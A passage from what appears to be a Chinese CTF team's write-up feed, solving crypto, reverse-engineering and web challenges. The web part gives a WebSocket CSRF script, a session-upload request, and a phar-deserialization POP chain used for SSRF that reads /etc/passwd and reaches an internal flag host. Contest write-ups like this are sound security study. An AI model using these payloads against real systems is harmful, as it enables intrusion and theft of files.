[731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]] sum=0 for i in range(100): M=matrix([cof_t[i],[1,0,0],[0,1,0]]) Mf=M^(200000-2) v = matrix(3,1,[3,2,1]) vf=Mf*v sum+=vf[0][0] print(str(sum)[-2000:-1000]) 解密得flag：\nfrom hashlib import md5, sha256 s = \u0026#39;8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748\u0026#39; key = md5(s.encode()).hexdigest() key = bytes.fromhex(key) check = sha256(key).hexdigest() print(check) from Crypto.Cipher import AES from hashlib import md5, sha256 s = \u0026#39;8365222366127410597598169954399481033882921410074214649102398062373189165630613993923060190128768377015697889610969869189338768501949778819512483009804114510646333513147157016729806311717181191848898389803672575716843797638777123435881498143998689577186959772296072473194533856870919617472555638920296793205581043222881816090693269730028856738454951305575065708823347157677411074157254186955326531403441609073128679935513392779152628590893913048822608749327034655805831509883357484164977115164240733564895591006693108254829407400850621646091808483228634435805213269066211974452289769022399418497986464430356041737753404266468993201044272042844144895601296459104534111416147795404108912440106970848660340526207025880755825643455720871621993251258247195860214917957713359490024807893442884343732717743882154397539800059579470352302688717025991780505564794824908605015195865226780305658376169579983423732703921876787723921599023795922881747318116849413935343800909756656082327558085457335537828343666748\u0026#39; key = md5(s.encode()).hexdigest() key = bytes.fromhex(key) aes = AES.new(key, AES.MODE_ECB) data = \u0026#39;4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87\u0026#39; data=bytes.fromhex(data) print(aes.decrypt(data)) Reverse re694 动调分析关键函数,发现主函数结束后会跳到另一块区域,分析到输入部分 分析发现，该代码块调用多处加密，具体为0x1400119B0,0x140011840 加密过程易得为\ns[i]=((s[i]^0x66)+10)^0x50 与结果数组比较即可\na = [0x4B, 0x48, 0x79, 0x13, 0x45, 0x30, 0x5C, 0x49, 0x5A, 0x79, 0x13, 0x70, 0x6D, 0x78, 0x13, 0x6F, 0x48, 0x5D, 0x64, 0x64] for i in a: print(chr(((i ^ 0x50)-10) ^ 0x66), end=\u0026#39;\u0026#39;) re693 转换初始数组或编译运行程序得到print内容为\nInput the first function, which has 6 parameters and the third named gLIhR:\rInput the second function, which has 3 callers and invokes the function named cHZv5op8rOmlAkb6: 第一处提示可直接搜索函数得到对应的函数名：ZlXDJkH3OZN4Mayd 第二处提示可使用脚本搜索\ntext = open(\u0026#39;challenge\u0026#39;, \u0026#39;r\u0026#39;).read().split(\u0026#39;\\n\\n\u0026#39;) text2 = [i.split(\u0026#39;\\n\u0026#39;) for i in text] for i in text2: if len(i) == 6: x = i[4].split(\u0026#39;(\u0026#39;)[0][-16:] if i[4].split(\u0026#39;(\u0026#39;)[0][-16:] == \u0026#39;cHZv5op8rOmlAkb6\u0026#39;: str1 = i[0].split(\u0026#39; \u0026#39;)[1][:-2] time = 0 for j in text2: for k in j: if k.find(str1) \u0026gt; -1: time += 1 if time == 6: print(str1) 得到两处函数名，在程序输入即可 Misc 签到 知识问答。搜索答案提交即可。\n","date":"2022-08-31T11:45:17+08:00","permalink":"https://or4ngesec.github.io/post/wdb2022-writeup-by-or4nge/","title":"2022网鼎杯初赛 Writeup by or4nge"},{"content":"Web babyweb 任意注册，main 路由下 websocket 可以让管理员访问任意 ip:port，修改密码，在自己 vps 上构造 script 来 csrf：\n\u0026lt;script\u0026gt; var ws = null; var url = \u0026#34;ws://\u0026#34; + \u0026#34;127.0.01:port\u0026#34; + \u0026#34;/bot\u0026#34;; ws = new WebSocket(url); ws.onopen = function (event) { var msg = document.getElementById(\u0026#34;sendbox\u0026#34;).value; ws.send(\u0026#34;changepwd 123456\u0026#34;); } \u0026lt;/script\u0026gt; 修改密码后拿到 hint，后台是个 go，利用 python 和 go 对 json 字段理解不同双鞋相同字段前后绕过，设置购买数量为负数后购买flag即可。\neasyweb http://47.104.95.124:8080/showfile.php?f=./demo/../class.php 任意文件读，审计发现触发 adminShow 的 show 可以 ssrf。 注意到 session 没开启，用 PHP_SESSION_UPLOAD_PROGRESS 强制开启 session_start() 来上传文件：\nPOST /index.php HTTP/1.1 Host: 47.104.95.124:8080 Content-Length: 400 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://47.104.95.124:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvR1Uq45sbhgKPcuw User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://47.104.95.124:8080/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Cookie: PHPSESSID=eyJ1c2VyIjoiYWRtaW4ifQ Connection: close ------WebKitFormBoundaryvR1Uq45sbhgKPcuw Content-Disposition: form-data; name=\u0026#34;PHP_SESSION_UPLOAD_PROGRESS\u0026#34; 123 ------WebKitFormBoundaryvR1Uq45sbhgKPcuw 通过 phar 反序列化触发 ssrf，构造 pop 链：通过先 wakeup，然后在 destruct 后重新赋值的方式来构造 url 进行触发。\n\u0026lt;?php use AdminShow as GlobalAdminShow; use GuestShow as GlobalGuestShow; class Upload { public $file; public $filesize; public $date; public $tmp; public function __construct(){ $this-\u0026gt;file = $_FILES[\u0026#34;file\u0026#34;]; } function do_upload() { $filename = session_id().explode(\u0026#34;.\u0026#34;,$this-\u0026gt;file[\u0026#34;name\u0026#34;])[0].\u0026#34;.jpg\u0026#34;; if(file_exists($filename)) { unlink($filename); } move_uploaded_file($this-\u0026gt;file[\u0026#34;tmp_name\u0026#34;],$filename); echo \u0026#39;upload\u0026#39;.$this-\u0026gt;e($filename).\u0026#39; success!\u0026#39;; } function e($str){ return htmlspecialchars($str); } function upload() { if($this-\u0026gt;check()) { $this-\u0026gt;do_upload(); } } public function __toString(){ return $this-\u0026gt;file[\u0026#34;name\u0026#34;]; } public function __get($value){ $this-\u0026gt;filesize-\u0026gt;$value = $this-\u0026gt;date; echo $this-\u0026gt;tmp; } function check() { $allowed_types = array(\u0026#34;jpg\u0026#34;,\u0026#34;png\u0026#34;,\u0026#34;jpeg\u0026#34;); $temp = explode(\u0026#34;.\u0026#34;,$this-\u0026gt;file[\u0026#34;name\u0026#34;]); $extension = end($temp); if(in_array($extension,$allowed_types)) { return true; } else { echo \u0026#39;Invalid file!\u0026#39;; return false; } } } class GuestShow{ public $file; public $contents; public $name; public function __construct($file) { $this-\u0026gt;file=$file; } public function __toString(){ echo \u0026#34;guest tostring\u0026#34;; $str = $this-\u0026gt;file-\u0026gt;name; return \u0026#34;\u0026#34;; } public function __get($value){ return $this-\u0026gt;$value; } function show() { $this-\u0026gt;contents = file_get_contents($this-\u0026gt;file); $src = \u0026#34;data:jpg;base64,\u0026#34;.base64_encode($this-\u0026gt;contents); echo \u0026#34;\u0026lt;img src={$src} /\u0026gt;\u0026#34;; } public function __destruct(){ echo $this; } } class AdminShow{ public $source; public $str; public $filter; public function __construct($file) { $this-\u0026gt;source = $file; } public function __toString() { $content = $this-\u0026gt;str[0]-\u0026gt;source; $content = $this-\u0026gt;str[1]-\u0026gt;schema; return \u0026#34;1\u0026#34;; } public function __get($value){ $this-\u0026gt;show(); return $this-\u0026gt;$value; } public function __set($key,$value){ $this-\u0026gt;$key = $value; } public function show(){ $url = $this-\u0026gt;schema . $this-\u0026gt;source; $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_HEADER, 1); $response = curl_exec($curl); curl_close($curl); $src = \u0026#34;data:jpg;base64,\u0026#34;.base64_encode($response); echo \u0026#34;\u0026lt;img src={$src} /\u0026gt;\u0026#34;; } public function __wakeup() { echo \u0026#34;wakeup\u0026#34;; if ($this-\u0026gt;schema !== \u0026#39;file:///var/www/html/\u0026#39;) { $this-\u0026gt;schema = \u0026#39;file:///var/www/html/\u0026#39;; } if ($this-\u0026gt;source !== \u0026#39;admin.png\u0026#39;) { $this-\u0026gt;source = \u0026#39;admin.png\u0026#39;; } } } if(isset($_GET[1])){ unserialize($_GET[1]); die(); } $filename = \u0026#34;testmysql.php\u0026#34;; $g0 = new GuestShow($filename); $g1 = new GuestShow($filename); $a0 = new AdminShow($filename); $a1 = new AdminShow($filename); $u0 = new Upload(); $u1 = new Upload(); $u2 = new Upload(); $u1-\u0026gt;filesize = $a0; $u1-\u0026gt;date = \u0026#34;/etc/passwd\u0026#34;; $u2-\u0026gt;filesize = $a0; $u2-\u0026gt;date = \u0026#34;file://\u0026#34;; $g1-\u0026gt;file = $a0; $u2-\u0026gt;tmp = $g1; $a0-\u0026gt;str[0] = $u1; $a0-\u0026gt;str[1] = $u2; $u0-\u0026gt;tmp = $a0; $g0-\u0026gt;file = $u0; $phar = new Phar(\u0026#34;aa.phar\u0026#34;); $phar-\u0026gt;startBuffering(); $phar-\u0026gt;addFromString(\u0026#34;test.txt\u0026#34;, \u0026#34;test\u0026#34;); $phar-\u0026gt;setStub(\u0026#34;\u0026lt;?php__HALT_COMPILER(); ?\u0026gt;\u0026#34;); $phar-\u0026gt;setMetadata($g0); $phar-\u0026gt;stopBuffering(); 任意文件读 /proc/1/net/arp，截取部分发现内网存在 10.10.10.10 这个服务\nIP address HW type Flags HW address Mask Device 10.10.10.2 0x1 0x0 00:00:00:00:00:00 * eth1 10.10.10.14 0x1 0x0 00:00:00:00:00:00 * eth1 10.10.10.12 0x1 0x0 00:00:00:00:00:00 * eth1 10.10.10.10 0x1 0x2 02:42:0a:0a:0a:0a * eth1 10.10.10.8 0x1 0x0 00:00:00:00:00:00 * eth1 172.18.0.1 0x1 0x2 02:42:e8:30:05:41 * eth0 172.18.0.178 0x1 0x0 00:00:00:00:00:00 * eth0 172.18.0.176 0x1 0x0 00:00:00:00:00:00 * eth0 用 http 协议 ssrf 过去发现是个 nginx 的 php，有一处 ssrf，直接请求 http://10.10.10.10/index.php?url=file:///flag 即可。\nReverse find_basic 动调发现有多个函数都有虚拟机结构，输入部分在 0x4942 处，继续调试进入加密部分 0x750A9，它由几百个类似的代码块构成，每个代码块调用的函数都有数个操作码，难以普通地归类，故使用 idapython 动调脚本提取代码\nfrom binascii import hexlify ea = get_reg_value(\u0026#39;eip\u0026#39;) end = ea + 0x1806 main_func = get_func_name(ea) fp = open(\u0026#39;all_asm.txt\u0026#39;,\u0026#39;w\u0026#39;) while True: ea = get_reg_value(\u0026#39;eip\u0026#39;) next_ea = next_head(ea) fp.write(hexlify(get_bytes(ea, next_ea - ea)).decode()) fp.write(\u0026#39;\\t\u0026#39; + GetDisasm(ea)+\u0026#39;\\n\u0026#39;) if ea \u0026gt;= end: break if main_func == get_func_name(ea): step_into() else: step_over() wait_for_next_event(WFNE_SUSP, -1) 然后观察特征，使用jnz和jmp指令作为子模块的标识，进一步提取\ncodes = open(\u0026#39;all_asm.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split(\u0026#39;\\n\u0026#39;) c = open(\u0026#39;asm.txt\u0026#39;, \u0026#39;w\u0026#39;) for i in range(len(codes)): if codes[i].find(\u0026#39;jnz\u0026#39;) != -1 and codes[i+2].find(\u0026#39;jnz\u0026#39;) == -1: j = i+3 while j \u0026lt; len(codes) and codes[j].find(\u0026#39;jmp\u0026#39;) == -1: c.write(codes[j]+\u0026#39;\\n\u0026#39;) j += 1 codes = open(\u0026#39;asm.txt\u0026#39;, \u0026#39;r\u0026#39;).read().split(\u0026#39;\\n\u0026#39;) codes = [i[:i.find(\u0026#39;\\t\u0026#39;)] for i in codes] datas = b\u0026#39;\u0026#39; for i in codes: datas += unhexlify(i) datas += \u0026#39;\\xc3\u0026#39; print(datas) open(\u0026#39;mch1\u0026#39;, \u0026#39;wb\u0026#39;).write(datas) 将对应的机器码写入文件里，并补齐栈平衡以及函数返回，使用 ida 反调试得到清晰的结构\n根据提示中的绝对值相关列出数个方程，z3 求解即可\nfrom z3 import * a1 = [BitVec(\u0026#39;x%d\u0026#39; % i, 32)for i in range(28)] con1 = 40085 * a1[3]\\ - 222506 * a1[2]\\ + 54507 * a1[4]\\ + 88056 * a1[1]\\ + 212571 * a1[5]\\ - 160722 * a1[0]\\ - 434973 con2 = 49300 * a1[3]\\ + 259229 * a1[0]\\ + 278066 * a1[2]\\ - 127937 * a1[1]\\ - 295169 * a1[4]\\ - 8368677 con3 = 42214 * a1[1]\\ - 108025 * a1[3]\\ + 205972 * a1[0]\\ + 27559 * a1[2]\\ - 17114904 con4 = - 151496 * a1[1]\\ + 204740 * a1[0]\\ + 80143 * a1[2]\\ - 12295783 con5 = 241935 * a1[1]\\ + 124128 * a1[0]\\ - 38790036 con6 = 273221 * a1[0]\\ - 27868542 con7 = -279656 * a1[2]\\ - 199574 * a1[1]\\ - 258130 * a1[8]\\ - 200399 * a1[3]\\ - 173903 * a1[7]\\ + 175816 * a1[0]\\ - 234569 * a1[6]\\ - 108273 * a1[4]\\ - 222957 * a1[5]\\ + 128244179 con8 = - 81541 * a1[1]\\ - 268763 * a1[0]\\ + 219073 * a1[3]\\ + 34782 * a1[6]\\ + 21153 * a1[5]\\ + 173005 * a1[7]\\ + 76285 * a1[4]\\ + 32825 * a1[2]\\ - 13874925 con9 = 85214 * a1[2]\\ - 268299 * a1[3]\\ - 230981 * a1[1]\\ + 290772 * a1[5]\\ - 74394 * a1[4]\\ + 28044 * a1[6]\\ - 242995 * a1[0]\\ + 50871139 con10 = -279656 * a1[2]\\ - 199574 * a1[1]\\ - 258130 * a1[8]\\ - 200399 * a1[3]\\ - 173903 * a1[7]\\ + 175816 * a1[0]\\ - 234569 * a1[6]\\ - 108273 * a1[4]\\ - 222957 * a1[5]\\ + 128244179 con11 = - 81541 * a1[1]\\ - 268763 * a1[0]\\ + 219073 * a1[3]\\ + 34782 * a1[6]\\ + 21153 * a1[5]\\ + 173005 * a1[7]\\ + 76285 * a1[4]\\ + 32825 * a1[2]\\ - 13874925 con12 = 85214 * a1[2]\\ - 268299 * a1[3]\\ - 230981 * a1[1]\\ + 290772 * a1[5]\\ - 74394 * a1[4]\\ + 28044 * a1[6]\\ - 242995 * a1[0]\\ + 50871139 con13 = -208564 * a1[0]\\ + 81934 * a1[9]\\ - 106641 * a1[7]\\ + 198477 * a1[2]\\ + 154505 * a1[1]\\ + 48440 * a1[5]\\ - 149004 * a1[3]\\ - 108909 * a1[4]\\ - 51714 * a1[10]\\ - 296420 * a1[8]\\ + 263021 * a1[6]\\ + 688726 con14 = - 131130 * a1[2]\\ + 224265 * a1[3]\\ + 230702 * a1[0]\\ - 176285 * a1[7]\\ - 274778 * a1[4]\\ + 103848 * a1[8]\\ - 136039 * a1[9]\\ - 241151 * a1[5]\\ + 15542 * a1[6]\\ - 17521 * a1[1]\\ + 41644083 con15 = 195056 * a1[4]\\ - 15717 * a1[9]\\ - 180214 * a1[6]\\ - 114427 * a1[5]\\ + 277782 * a1[7]\\ + 261379 * a1[8]\\ - 225266 * a1[2]\\ + 107609 * a1[0]\\ + 259792 * a1[3]\\ + 270563 * a1[11]\\ + 205124 * a1[1]\\ + 138334 * a1[10]\\ + 103474 * a1[12]\\ - 117027475 con16 = 189573 * a1[8]\\ + 64393 * a1[6]\\ + 231137 * a1[1]\\ + 145315 * a1[4]\\ - 53938 * a1[10]\\ - 291345 * a1[5]\\ + 216413 * a1[3]\\ - 204681 * a1[0]\\ - 65519 * a1[9]\\ - 262826 * a1[2]\\ + 187002 * a1[7]\\ + 271732 * a1[11]\\ - 38663722 con17 = 15645 * a1[13]\\ + 276267 * a1[12]\\ + 31190 * a1[5]\\ - 244002 * a1[2]\\ + 81415 * a1[3]\\ - 22940 * a1[10]\\ - 126076 * a1[7]\\ + 8932 * a1[8]\\ + 112153 * a1[4]\\ + 194218 * a1[11]\\ + 197656 * a1[9]\\ - 204463 * a1[0]\\ - 219500 * a1[1]\\ + 19777 * a1[6]\\ - 24531260 con18 = 279969 * a1[8]\\ - 123977 * a1[4]\\ + 162094 * a1[0]\\ - 215769 * a1[1]\\ - 18878 * a1[14]\\ - 80292 * a1[11]\\ - 237675 * a1[5]\\ - 222121 * a1[6]\\ + 269381 * a1[12]\\ + 153934 * a1[13]\\ - 165380 * a1[10]\\ - 157137 * a1[2]\\ - 186748 * a1[3]\\ + 170756 * a1[7]\\ - 186932 * a1[9]\\ + 87264470 con19 = -87190 * a1[2]\\ - 74836 * a1[1]\\ + 16892 * a1[9]\\ - 185781 * a1[8]\\ - 12726 * a1[7]\\ + 85022 * a1[12]\\ + 232989 * a1[10]\\ + 68516 * a1[0]\\ - 120254 * a1[6]\\ - 204892 * a1[5]\\ - 65901 * a1[4]\\ - 201087 * a1[13]\\ + 158612 * a1[11]\\ - 49445 * a1[3]\\ - 181860 * a1[14]\\ - 111015 * a1[15]\\ + 43646834 con20 = -170184 * a1[3]\\ - 137671 * a1[4]\\ - 85374 * a1[9]\\ - 73658 * a1[11]\\ + 230891 * a1[13]\\ + 54346 * a1[15]\\ - 280694 * a1[0]\\ + 60411 * a1[2]\\ + 27171 * a1[7]\\ - 50618 * a1[6]\\ + 11843 * a1[10]\\ + 131778 * a1[5]\\ + 13956 * a1[8]\\ - 42562 * a1[12]\\ - 19972 * a1[1]\\ - 145797 * a1[14]\\ - 58717 * a1[16]\\ + 74613584 con21 = 242475 * a1[16]\\ - 234385 * a1[0]\\ + 124653 * a1[2]\\ - 287929 * a1[13]\\ - 190916 * a1[12]\\ - 277578 * a1[11]\\ + 39 * a1[8]\\ - 41625 * a1[6]\\ + 67262 * a1[5]\\ - 250144 * a1[9]\\ - 70886 * a1[10]\\ - 223492 * a1[15]\\ - 179651 * a1[7]\\ + 206538 * a1[17]\\ + 161965 * a1[3]\\ - 146258 * a1[4]\\ + 167068 * a1[1]\\ + 196330 * a1[14]\\ + 76353817 con22 = 29700 * a1[18]\\ - 60542 * a1[5]\\ + 274107 * a1[11]\\ + 154914 * a1[13]\\ - 143185 * a1[12]\\ + 167424 * a1[2]\\ + 137439 * a1[8]\\ - 186151 * a1[10]\\ - 77157 * a1[9]\\ - 233090 * a1[6]\\ - 27400 * a1[7]\\ - 76557 * a1[15]\\ - 108002 * a1[17]\\ + 103161 * a1[14]\\ - 133956 * a1[1]\\ - 219502 * a1[4]\\ - 202897 * a1[0]\\ - 250957 * a1[3]\\ - 119297 * a1[16]\\ + 100812197 con23 = -171971 * a1[9]\\ + 38740 * a1[4]\\ - 31661 * a1[10]\\ - 194653 * a1[18]\\ - 295910 * a1[16]\\ + 136489 * a1[12]\\ + 212619 * a1[17]\\ + 165592 * a1[11]\\ + 211791 * a1[1]\\ + 156909 * a1[2]\\ - 232187 * a1[8]\\ - 73709 * a1[7]\\ + 79735 * a1[14]\\ + 184882 * a1[13]\\ + 111105 * a1[6]\\ + 148840 * a1[3]\\ - 35774 * a1[19]\\ - 275711 * a1[0]\\ + 135265 * a1[5]\\ - 141221 * a1[15]\\ - 39117122 con24 = -186514 * a1[17]\\ - 7791 * a1[2]\\ + 276755 * a1[11]\\ - 294815 * a1[14]\\ - 238763 * a1[15]\\ - 146099 * a1[5]\\ + 184977 * a1[16]\\ + 178413 * a1[1]\\ + 287303 * a1[3]\\ - 71946 * a1[10]\\ - 73771 * a1[9]\\ - 129032 * a1[18]\\ + 200202 * a1[20]\\ - 150509 * a1[6]\\ - 156625 * a1[13]\\ + 14093 * a1[7]\\ + 192584 * a1[12]\\ - 122770 * a1[0]\\ - 255494 * a1[8]\\ + 65 * a1[4]\\ - 108479 * a1[19]\\ + 13521895 con25 = 210978 * a1[7]\\ + 300336 * a1[10]\\ + 207254 * a1[15]\\ + 216206 * a1[5]\\ - 63529 * a1[0]\\ - 274903 * a1[11]\\ - 10750 * a1[14]\\ + 25008 * a1[4]\\ - 100942 * a1[19]\\ - 104857 * a1[2]\\ + 266501 * a1[8]\\ + 229070 * a1[17]\\ - 234559 * a1[16]\\ + 298459 * a1[3]\\ - 172052 * a1[6]\\ - 98938 * a1[12]\\ + 66155 * a1[13]\\ - 84761 * a1[1]\\ - 283508 * a1[18]\\ + 288577 * a1[21]\\ - 75407 * a1[20]\\ - 204447 * a1[9]\\ + 4351595 con26 = -201846 * a1[14]\\ + 272550 * a1[20]\\ + 60398 * a1[6]\\ + 45580 * a1[7]\\ + 195108 * a1[11]\\ + 38596 * a1[0]\\ + 220445 * a1[18]\\ - 190873 * a1[15]\\ + 103477 * a1[9]\\ + 118842 * a1[19]\\ + 206336 * a1[10]\\ - 249940 * a1[17]\\ - 48084 * a1[21]\\ + 104901 * a1[5]\\ - 48576 * a1[4]\\ + 287104 * a1[16]\\ - 286686 * a1[1]\\ - 30253 * a1[22]\\ + 121183 * a1[3]\\ + 90967 * a1[2]\\ - 195519 * a1[12]\\ - 129304 * a1[8]\\ + 141188 * a1[13]\\ - 56642147 con27 = 110609 * a1[4]\\ + 5913 * a1[21]\\ - 197578 * a1[7]\\ + 45127 * a1[18]\\ + 282426 * a1[13]\\ - 71019 * a1[16]\\ - 6980 * a1[11]\\ + 208216 * a1[15]\\ - 13544 * a1[20]\\ + 17852 * a1[8]\\ + 167833 * a1[12]\\ + 145568 * a1[17]\\ + 3610 * a1[19]\\ + 91985 * a1[1]\\ - 267402 * a1[5]\\ - 32355 * a1[14]\\ - 197823 * a1[23]\\ + 135525 * a1[2]\\ - 229424 * a1[22]\\ + 38093 * a1[10]\\ + 50167 * a1[6]\\ + 118713 * a1[9]\\ + 123874 * a1[0]\\ - 89499 * a1[3]\\ - 43090537 con28 = -164755 * a1[9]\\ + 175470 * a1[8]\\ - 28660 * a1[1]\\ + 7217 * a1[11]\\ - 295102 * a1[4]\\ - 28531 * a1[19]\\ - 106265 * a1[25]\\ - 92750 * a1[10]\\ + 16738 * a1[21]\\ - 231714 * a1[6]\\ + 172042 * a1[24]\\ - 215890 * a1[17]\\ + 199697 * a1[12]\\ - 84235 * a1[7]\\ + 44614 * a1[13]\\ + 75104 * a1[5]\\ - 195843 * a1[0]\\ - 15784 * a1[14]\\ - 131950 * a1[15]\\ - 268167 * a1[16]\\ - 197565 * a1[20]\\ + 24340 * a1[23]\\ + 105130 * a1[2]\\ - 79750 * a1[22]\\ - 264668 * a1[3]\\ + 50329 * a1[18]\\ + 137774797 con28 = 62119 * a1[17]\\ - 17215 * a1[24]\\ + 289621 * a1[18]\\ + 53006 * a1[20]\\ + 95969 * a1[11]\\ + 202404 * a1[0]\\ + 247060 * a1[21]\\ + 144211 * a1[19]\\ + 280106 * a1[7]\\ - 126431 * a1[10]\\ - 226837 * a1[12]\\ + 10463 * a1[23]\\ + 121257 * a1[13]\\ - 84190 * a1[9]\\ + 88917 * a1[1]\\ + 15453 * a1[14]\\ + 271442 * a1[4]\\ + 110851 * a1[3]\\ - 231422 * a1[5]\\ + 176741 * a1[22]\\ + 266134 * a1[2]\\ - 197327 * a1[6]\\ - 55225 * a1[8]\\ - 265465 * a1[15]\\ + 119612 * a1[16]\\ - 98514358 con29 = 62119 * a1[17]\\ - 17215 * a1[24]\\ + 289621 * a1[18]\\ + 53006 * a1[20]\\ + 95969 * a1[11]\\ + 202404 * a1[0]\\ + 247060 * a1[21]\\ + 144211 * a1[19]\\ + 280106 * a1[7]\\ - 126431 * a1[10]\\ - 226837 * a1[12]\\ + 10463 * a1[23]\\ + 121257 * a1[13]\\ - 84190 * a1[9]\\ + 88917 * a1[1]\\ + 15453 * a1[14]\\ + 271442 * a1[4]\\ + 110851 * a1[3]\\ - 231422 * a1[5]\\ + 176741 * a1[22]\\ + 266134 * a1[2]\\ - 197327 * a1[6]\\ - 55225 * a1[8]\\ - 265465 * a1[15]\\ + 119612 * a1[16]\\ - 98514358 con30 = 151924 * a1[25]\\ - 265311 * a1[6]\\ + 107604 * a1[11]\\ - 47851 * a1[24]\\ + 227178 * a1[13]\\ - 162699 * a1[2]\\ + 2171 * a1[20]\\ + 211070 * a1[23]\\ + 94815 * a1[22]\\ + 124760 * a1[16]\\ + 41462 * a1[19]\\ - 277022 * a1[15]\\ - 62501 * a1[26]\\ - 17727 * a1[14]\\ - 257908 * a1[4]\\ - 175112 * a1[21]\\ + 8972 * a1[10]\\ - 71801 * a1[8]\\ - 114724 * a1[5]\\ - 252898 * a1[9]\\ + 161457 * a1[1]\\ - 64461 * a1[0]\\ - 111493 * a1[18]\\ + 200145 * a1[17]\\ - 290075 * a1[3]\\ + 158466 * a1[12]\\ - 275262 * a1[7] + 86899519 con31 = 142850 * a1[18]\\ - 166704 * a1[1]\\ + 284852 * a1[22]\\ + 248972 * a1[7]\\ - 76200 * a1[17]\\ + 261708 * a1[19]\\ + 91911 * a1[24]\\ + 22347 * a1[3]\\ + 76006 * a1[21]\\ + 256511 * a1[6]\\ - 100052 * a1[14]\\ - 115830 * a1[2]\\ - 93202 * a1[23]\\ + 248858 * a1[12]\\ - 262669 * a1[10]\\ + 67895 * a1[5]\\ - 111771 * a1[8]\\ - 132193 * a1[11]\\ - 141512 * a1[13]\\ + 139406 * a1[27]\\ + 109646 * a1[16]\\ - 286309 * a1[9]\\ + 175476 * a1[15]\\ + 138067 * a1[20]\\ + 192825 * a1[25]\\ + 199577 * a1[0] - 63091 * a1[4] - 285207 * a1[26] - 58820340 s = Solver() for i in range(28): s.add(a1[i] \u0026gt; 0x20) s.add(a1[i] \u0026lt; 0x7f) s.add(a1[0] == ord(\u0026#39;f\u0026#39;)) s.add(a1[1] == ord(\u0026#39;l\u0026#39;)) s.add(a1[2] == ord(\u0026#39;a\u0026#39;)) s.add(a1[3] == ord(\u0026#39;g\u0026#39;)) s.add(a1[4] == ord(\u0026#39;{\u0026#39;)) s.add(a1[27] == ord(\u0026#39;}\u0026#39;)) s.add(con1 == 0) s.add(con2 == 0) s.add(con3 == 0) s.add(con4 == 0) s.add(con5 == 0) s.add(con6 == 0) s.add(con7 == 0) s.add(con8 == 0) s.add(con9 == 0) s.add(con10 == 0) s.add(con11 == 0) s.add(con12 == 0) s.add(con13 == 0) s.add(con14 == 0) s.add(con15 == 0) s.add(con16 == 0) s.add(con17 == 0) s.add(con18 == 0) s.add(con19 == 0) s.add(con20 == 0) s.add(con21 == 0) s.add(con22 == 0) s.add(con23 == 0) s.add(con24 == 0) s.add(con25 == 0) s.add(con26 == 0) s.add(con27 == 0) s.add(con28 == 0) s.add(con29 == 0) s.add(con30 == 0) s.add(con31 == 0) if sat == s.check(): m = s.model() flag = \u0026#39;\u0026#39; for i in a1: flag += chr(m[i].as_long()) import hashlib hl = hashlib.md5() hl.update(flag.encode()) print (hl.hexdigest() == \u0026#39;042905954c2c27f21bd74489ea0d151f\u0026#39;) print (flag) GameMaster .net逆向\n一个21点游戏，逆向发现存在作弊码\nif (memcmp1(input, \u0026#34;MF3K\u0026#34;, 4)) { try { game.Player.Bet -= 22m; for (int i = 0; i \u0026lt; memory.Length; i++) { memory[i] ^= 34; } Environment.SetEnvironmentVariable(\u0026#34;AchivePoint1\u0026#34;, game.Player.Balance.ToString()); return; } } if (memcmp1(input, \u0026#34;EEPW\u0026#34;, 4)) { try { game.Player.Balance += 175m; 